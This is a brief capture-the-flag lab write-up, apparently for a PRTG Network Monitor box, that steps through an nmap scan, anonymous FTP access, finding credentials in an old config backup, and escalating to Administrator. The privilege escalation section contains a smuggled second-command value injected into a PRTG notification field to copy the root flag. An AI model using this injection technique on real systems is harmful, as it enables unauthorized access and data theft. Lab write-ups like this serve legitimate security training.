RECON

PRTG Network Monitor

Nmap Scan

nmap -sC -sV 10.10.10.152

Anonymous FTP login allowed

ENUMURATION

FTP

ftp 10.10.10.152

User Flag

ls

cd Users/Public

get user.txt

Privilege Escalation

Looking through Config files

User and password in PRTG Configuration.old.bak

Log into Netmon using 2019 for updated crenditals (box release year)

Root Flag

Looking for PRTG Network Monitor vulnearbilies

Blog post about exploitation method

Add Notification: Setup > Account Settings > Notifications

Powershell to transfer

Formating transfer

test.txt;Copy-Item "C:\Users\Administrator\Desktop\root.txt" -Destination "C:\Users\Public\root.txt"

Anonymous FTP succesfull transfer